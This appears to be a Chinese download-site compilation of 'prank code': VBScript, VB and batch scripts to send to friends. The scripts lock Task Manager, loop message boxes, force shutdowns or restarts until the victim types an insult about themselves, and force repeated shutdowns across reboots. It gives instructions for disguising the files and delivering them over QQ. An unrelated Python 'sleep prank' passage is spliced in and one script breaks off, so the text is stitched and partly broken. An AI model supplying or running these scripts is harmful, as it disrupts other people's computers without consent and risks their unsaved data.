整人代码大全
- 格式:doc
- 大小:23.45 KB
- 文档页数:10
使用方法:新建一个txt文本文档。
然后把拓展名改成".vbs"的格式。
然后右键编辑,把代码复制进去,ok!!!1.整死你啊!!!此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你Private Sub Form_Load()Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1For m = 1 To 999MsgBox "呵呵,你知道我是谁吗?", 16MsgBox "什么??不知道?", 16MsgBox "那你打开我干什么?", 16MsgBox "你有空没事做吧?!", 16MsgBox "我..就是鼎鼎大名的987876198", 16MsgBox "987876198..", 16MsgBox "现在你把它打开了觉得后悔了吧?呵呵..", 16MsgBox "算了算了,不玩你了", 16MsgBox "现在我数3声就闪人,行了吧?", 16MsgBox "1.............", 16MsgBox "2.............", 16MsgBox "3.............", 16MsgBox "噔噔噔噔,我又回来了!", 16MsgBox "哈哈,是不是很过瘾呢?", 16MsgBox "现在我先介绍下自己..", 16MsgBox "我叫王得地..", 16MsgBox "性别:男..", 16MsgBox "今年35岁..", 16MsgBox "不好意思噢,我好像说多了..", 16MsgBox "不要这样喇,听我说完先好不?", 16MsgBox "来来来,开始喇..", 16MsgBox "我叫王得地..", 16MsgBox "家中有屋又有田..", 16MsgBox "生活乐无边..", 16MsgBox "好像我又说多了...", 16MsgBox "不要生气嘛,你认真看下去我就放你走..", 16MsgBox "好,开始喇..", 16MsgBox "从前有座山..", 16MsgBox "山里有个座庙..", 16MsgBox "庙里有个和尚..", 16MsgBox "哈哈,想哭吗?", 16MsgBox "被骗的感觉不爽吧?", 16MsgBox "喂喂喂!别别..千万别重启电脑", 16MsgBox "我告诉你怎么关吧", 16MsgBox "先打开任务管理器", 16MsgBox "忘了告诉你了,任务管理器打不开了", 16MsgBox "别恨我啊你不小心", 16MsgBox "电脑重新启动吧", 16MsgBox "相信我吧,你知道我是不会骗人的", 16MsgBox "如果你还想继续点的话,你就别听我的", 16MsgBox "呵呵,我又没有说这个东西没有", 16MsgBox "我只想说桌面没有罢了..", 16MsgBox "嘻嘻,爽不爽吖?", 16MsgBox "对着电脑屏幕大声说低调大好人", 16MsgBox "不然,我就没办法的咯", 16MsgBox "因为我把循环设置成99了", 16MsgBox "想保存电脑数据只有继续点了", 16MsgBox "绝对会出到去的", 16MsgBox "好了,废话不多说了,祝你好运..", 16MsgBox "制作:低调不倒", 16MsgBox "QQ:987876198", 16MsgBox "E-mail:不告诉你", 16MsgBox "好,继续循环..", 16NextEnd Sub·······················································2.满屏小雪花这是我以前写的小程序让整个屏幕雪花飘飘的改进,本程序是一个模拟下雪的小程序:大小不同随风飘荡的雪花从屏幕上方不断落下,飘满整个屏幕。
python整人睡眠代码Python是一种流行的编程语言,可以用于开发各种应用程序,包括一些有趣的小工具。
今天我要给大家介绍的是一种可以用Python编写的整人睡眠代码,它可以帮助你在睡觉时捉弄你的朋友。
在开始编写代码之前,我们首先需要安装Python的开发环境。
你可以在官方网站上下载并安装Python,然后打开一个文本编辑器,开始编写代码。
我们需要导入time模块,这个模块可以让我们控制程序的执行时间。
然后,我们使用time模块的sleep函数来实现程序的暂停功能。
代码如下:```pythonimport timedef prank_sleep():print("现在是晚上,是时候整人了!")print("你的朋友正在熟睡,准备好了吗?")print("3...")time.sleep(1)print("2...")time.sleep(1)print("1...")time.sleep(1)print("现在,让我们开始吧!")print("正在进行整人操作...")time.sleep(5)print("整人操作完成!")print("你的朋友应该会有一些惊喜!")prank_sleep()```在这段代码中,我们定义了一个名为prank_sleep的函数,它用来执行整人操作。
在函数中,我们使用print函数输出一些提示信息,告诉你的朋友整人的计划。
然后,我们使用time.sleep函数在每个提示之间暂停一段时间,以增加悬念和紧张感。
最后,我们输出整人操作完成的消息。
你可以根据需要自定义整人操作的内容,比如在你的朋友熟睡时播放一段吓人的音乐、发送一条诡异的短信或者在他的房间里放置一些恐怖的道具。
不过,请确保你的整人行为不会伤害到你的朋友,而且要尊重他的感受。
VB整人小程序三个第一个:程序代码on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 55 -c ""快叫哥哥,不叫让你1分钟关机,不叫,试试···"" ",0 ,true dim ado while(a <> "哥哥")a = inputbox ("说我是猪,就不关机,快,说""哥哥""","叫不叫","不叫",7000,8000)msgbox chr(13) + chr(13) + chr(13) + a,5000,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早叫就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "又没让你叫老公"msgbox chr(13) + chr(13) + chr(13) + "记住了,锡尔丁,是你""哥哥""呀!"msgbox chr(13) + chr(13) + chr(13) + "知道叫我什么了么?"msgbox chr(13) + chr(13) + chr(13) + "可千万别叫错了!"msgbox chr(13) + chr(13) + chr(13) + "知道我是谁么?"msgbox chr(13) + chr(13) + chr(13) + "记住了""锡尔丁""?"msgbox chr(13) + chr(13) + chr(13) + "记住了么?~~~"msgbox chr(13) + chr(13) + chr(13) + "别恨我呀!恨我就是爱我!"msgbox chr(13) + chr(13) + chr(13) + "爱我就得叫我""老公""了!"msgbox chr(13) + chr(13) + chr(13) + "88,妹妹!"第二个:程序代码Option ExplicitPrivate Sub Command1_Click()Dim wood As StringMsgBox "密码:骂自己", vbCritical,"木头人友情提示" '这里写捉弄人的话wood = InputBox("请输入密码:")If wood = "骂自己" Then '密码可以自己设EndElseShell "cmd.exe /c shutdown -s -t 60" '60秒后关几End IfEnd SubPrivate Sub Command2_Click()Shell "cmd.exe /c shutdown -a"MsgBox "不怎么好玩", vbExclamation,"不玩了"EndEnd Sub第三个:程序代码on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 40 -c ""说你自己是笨蛋!你不说你电脑有什么事可别怪我啊!···"" ",0 ,truedim ado while(a <> "我是笨蛋")a = inputbox ("说你自己是笨蛋。
整人代码大全让对方重启指定次数(害人专用)@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1sif not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次...打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。
善意恶搞关机首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机,快撒,说""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,对方打开了就在60秒内要关闭计算机,结束任务都不行,他只能说他是猪才能解决问题。
够坏吧?注意哦,你可以把我是猪那个修改成任意想说的话,要是对付你喜欢的人,就修改成我爱你这样他只有说我爱你之后才不关闭计算机哦也可以把时间修改为20 就是说打开了20秒就关了,还没等对方打完就关机了是不是叫对方很郁闷呢?让人崩溃的关机程序首先你可以看下面的WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)WScript.Echo("你是可爱的XX童鞋吗?")WScript.Echo("哈,我想你拉,这你都不知道吗?")WScript.Echo("怎么才来,说~是不是不关心我")WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。
")WScript.Echo("夜黑很生气,后果很严重哦。
")WScript.Echo("嘿嘿!你也会很惨滴哦")WScript.Echo("是不是想清除我?")WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")WScript.Echo("还剩49下,快点点哦")WScript.Echo("还剩48下,快点,小笨蛋!")WScript.Echo("还剩47下对,就这样快点点!")WScript.Echo("还剩46下。
你啊就是笨,要快哦,我先不打扰你工作。
") WScript.Echo("还剩45下,记得要快哦!")WScript.Echo("还剩43下")WScript.Echo("还剩42下")WScript.Echo("还剩41下")WScript.Echo("还剩40下")WScript.Echo("还剩39下")WScript.Echo("还剩38下")WScript.Echo("还剩37下")WScript.Echo("还剩36下")WScript.Echo("还剩35下")WScript.Echo("还剩34下")WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下")WScript.Echo("还剩16下")WScript.Echo("还剩15下")WScript.Echo("还剩14下")WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。
呜呜~555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。
你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。
疯了,你有点负意!")WScript.Echo("还剩6下。
对。
你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?")WScript.Echo("还剩3下。
可是我真的很眷恋你。
")WScript.Echo("还剩2下。
不要这么绝情嘛,人家是爱你的!")WScript.Echo("还剩1下。
哼,既然你这么绝情。
也别怪我无义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,万能的上帝又给了一次机会。
")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")把这个复制在记事本,把后缀修改成.vbs在打开呢就会先说第一句的嘿,谢谢你打开我哦,我等你很久拉!他无论是点关闭或者是点确定都会再说第2句再点就说地3句会按顺序说完你们注意哦,最后10句话,只是10句,你要是把这个复制再粘贴N次,那他还有个打完呢?这样才做到整人了,要是给喜欢的人发去啊,那就写你要说的话吧,双引号里面的可以随便更改Welcome To Download !!!欢迎您的下载,资料仅供参考!。